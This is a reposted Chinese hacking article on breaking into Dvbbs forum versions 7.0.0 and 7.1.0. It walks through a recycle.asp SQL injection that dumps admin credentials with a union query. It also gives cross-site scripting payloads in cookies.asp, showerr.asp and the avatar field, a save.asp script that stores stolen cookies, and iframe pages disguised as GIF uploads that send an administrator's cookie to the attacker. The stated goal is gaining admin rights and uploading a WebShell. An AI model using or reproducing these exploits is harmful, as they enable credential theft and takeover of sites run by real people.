夏日动网“洞”不断

  • 发布于:2021-01-08
  • 188 人围观
正因为动网论坛拥有超过50%的中国站长用户,成为中国论坛领域事实上的标准,所以自去年动网论坛7.0.0 SP2以下所有版本发现上传漏洞后,国内网络被搞的鸡犬不宁。各大论坛的管理员,网管也愈来愈重视动网官方的动态,所有论坛程序基本都升级到7.0.0 SP2,或者是最新的7.1.0了,是不是这些版本就足够安全,足够强壮了呢?当然并非如此,自从本人发现最新版本中的admin_postings.asp文件存在注入漏洞后,官方论坛丝毫没有打补丁的意思。可能他们以为漏洞利用起来比较困难,需要前台管理员权限,但是如果我们再结合传说中的温柔杀手:跨站脚本攻击。就会大大提高我们提升权限的几率。更令人兴奋的是结合recycle.asp的注入漏洞,对Access版本也显奇效。无论是7.0.0的还是7.1.0的都受影响。首先说说这个漏洞吧。

打开recycle.asp,

<!--#include file="conn.asp"-->


<!-- #include file="inc/const.asp" -->


<!-- #include file="inc/DvADChar.asp" -->


<!-- #include file="inc/dv_ubbcode.asp" -->


<%


Rem 修改记录:2004-5-3 行396 Dvbbs.YangZheng


Server.ScriptTimeOut=999999


dim bBoardEmpty


dim totalrec


dim n,RowCount


dim p


dim currentpage,page_count,Pcount


dim tablename


Dvbbs.stats="论坛回收站"


Dvbbs.nav()


If Not Dvbbs.master Then Response.redirect "showerr.asp?ErrCodes=<li>您没有权限浏览本页。&action=OtherErr"


Dvbbs.ShowErr()


Dvbbs.Head_var 2,0,"",""


Dim EmotPath


EmotPath=Split(Dvbbs.Forum_emot,"|||")(0)


Dim dv_ubb,abgcolor


Set dv_ubb=new Dvbbs_UbbCode


If Request("reaction")="manage" Then


       dim topicid


       Dim trs,UpdateBoardID


       Dim fixid


       Manage_Main()


ElseIf Request("reaction")="view" Then


       View()


Else


       Main()


End If


 


Call Dvbbs.activeonline()


call Dvbbs.footer()


‘大家再看看调用的Manage_Main函数和View函数,就会发现如下代码:


If request("tablename")="dv_topic" Then


              tablename="dv_topic"


       ElseIf InStr(request("tablename"),"bbs")>0 Then


              tablename=Trim(request("tablename"))


              If Len(tablename)>8 Then


                     Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"


              End If


       Else


              Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"


       End If


显然是对tablename过滤了,长度不能超过8,虽然能注入,但是实在没有价值可言,没关系,我们再看看如果我们提交的action为空,程序就会执行main函数,这个函数调用的是AnnounceList1,我们再找到这个函数看看把:

Sub AnnounceList1()


 ‘省略了无用代码,免得跟上次一样wtf又说偶骗稿费咯……


If instr(lcase(request("tablename")),"bbs")>0 then


                     SQL="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&replace(request("tablename"),"'","")&" where boardid=444 and not parentid=0 order by announceid desc"


                     tablename=request("tablename")


              Else


                    SQL="select topicID,boardID,PostUserName,Title,title as body,DateAndTime from dv_topic where boardid=444 order by topicid desc"


                     tablename="dv_topic"


       End If


       set rs=server.createobject("adodb.recordset")


       If Not IsObject(Conn) Then ConnectionDatabase


       rs.open SQL,conn,1,1


       if rs.bof and rs.eof then


              '论坛无内容


              call showEmptyBoard1()


       else


              rs.PageSize = cint(Dvbbs.Forum_Setting(11))


              rs.AbsolutePage=currentpage


              page_count=0


                 totalrec=rs.recordcount


              call showPageList1()


       end if


End sub


哈哈,显然这里没有对tablename限制长度,verygood,不过遗憾的是注入只能实现只读的查询,不能修改数据库内容,没关系,我们可以利用union查询把dv_log中记录的后台管理账号和密码一次性查询出来,这个还不够爽啊,通杀SQL版本和Access版本。

构造以下查询语句:

http://127.0.0.1/recycle.......,1,1,1,1,1%20from%20dv_bbs1


注意到l_id了吗,我们查询的时候通过递增l_id的值来遍历l_content字段中的内容,如果l_id选取的合适,就能直接得到明文账号和密码。如图1所示。


看到了吗,以上显示的后台账号是llikz,密码是111111,前台管理员账号是admin。得到后台管理权限,上传WebShell绝非是难事了。

说了这么多,别太兴奋了,忘记了只有前台管理员才有权限对回收站进行操作。不过比起admin_postings.asp的注入不仅实现起来比较容易。而且能对Access版本进行攻击。下面我们就为获得前台管理员权限努力吧。只要能够实现这个条件,两个注入漏洞都能轻松实现了。

关于利用跨站脚本攻击获得管理员的cookie信息,方法多种多样,可跨站攻击的文件也有不少,比如众所周知的showerr.asp,不过这个文件的跨站漏洞在7.1.0版本中已经修补,但是还有其他很多文件存在此漏洞,就拿cookies.asp来说吧,打开以下连接:

http://127.0.0.1/cookies.asp?action=setlistmod&id=);</script><script>alert(documents.cookie)</script>

看看是不是你的cookie信息弹出来了。如图2所示。

我们先说一种简单的实现起来比较容易的方法(当然隐蔽性不是很高),首先建立一个asp文件用于接收cookie信息,文件内容如下:

<%

Set cookie=Server.CreateObject("Adodb.Stream")

cookie.Open

cookie.Type=2

cookie.Charset="gb2312"

cookie.WriteText(request("cookie"))

cookie.SaveToTile(server.mappath(month(now)&day(now)&hour(now)&minute(now)&second(now)&".txt"))

cookie.Close

set cookie=Nothing

%>

保存为save.asp放到支持asp的空间。然后再建立文本文件,内容如下:

<html>

<body>

<iframe width=0 height=0 src="http://127.0.0.1/showerr.......erErr&ErrCodes=<form name=redir action=http://127.0.0.1/save.asp method=post><input type=hidden name=cookie></from><script>redir.cookie.value=documents.cookie;redir.submit();</script>"></iframe>

<img src=http://127.0.0.1/images/logo.gif></img>

</body>

</html>

http://127.0.0.1/save.asp请修改为自己的接收cookie信息的文件,http://127.0.0.1/showerr.asp请修改为你要攻击的论坛的地址。

将以上代码保存为up.gif。在论坛中选择发表新话题,将这个文件上传上去得到上传文件的地址:http://127.0.0.1/UploadFile/2005711052664.gif,给管理员发送如下的短消息。如图3所示。

看看管理员收到什么了。如图4所示。

这样只要管理员点击上面的连接,他的cookie信息就发到自己的空间咯,不信去看看啊。如图5所示。

 

接下来我们改进以下这种方法,如果将管理员的cookie信息做为短消息发到自己的收信箱里岂不更爽,将原来的up.gif内容修改一下,改为以下的内容:


<html>


<body>


<iframe width=0 height=0 src="http://127.0.0.1/showerr.......erErr&ErrCodes=<form name=redir action=http://127.0.0.1/messanger.asp?action=send method=post><INPUT type=hidden name=touser value=llikz><INPUT type=hidden name=title value=cookie><INPUT type=text name=message><INPUT type=hidden name=sms_act value=Sms_Issend></form><script>document.redir.message.value=documents.cookie;document.redir.submit();</script>"></iframe>


<img src=http://wjwl.cn66.cn/sitephoto/200312120204774541.jpg></img>


</body>


</html>


这样就能够绕过checkpost函数以post方式将管理员cookie信息发送到自己信箱了,注意<INPUT type=hidden name=touser value=llikz>这个修改为你自己注册的账号来接收短消息。这样只要欺骗管理员打开连接,就会收到类似如下的短信息。如图6所示。

以上的方法都有个缺点:当管理员在打开假图片的时候,通过浏览器状态栏显示的状态信息很容易被识破。那我们就利用动网论坛自定义头像功能实现跨站攻击。


选择控制面板,基本资料修改。在自定义头像地址中写入"><iframe src=http://127.0.0.1/index.asp></iframe><"再查看一下自己的个人资料。如图7所示。

哈哈,成功了,不过在自定义头像地址过滤了Java脚本,所以只能嵌入iframe框架。


不过在这里嵌入以上方法上传的脚本图片就能用来获取cookie信息了。比如我嵌入的是test.gif,文件内容是:


<html>


<body>


<script>alert(documents.cookie)</script>


</body>


</html>


再查看一下自己的个人资料。如图8所示。

这样只要欺骗管理员访问自己的个人资料,就神不知鬼不觉得到访问者的cookie信息了。通过cookie欺骗得到前台管理权限,再用recycle.asp注入漏洞即可轻松获得后台管理权限。只要大家灵活运用以上方法,摧毁不倒的动网论坛绝非难事。

万企互联
标签: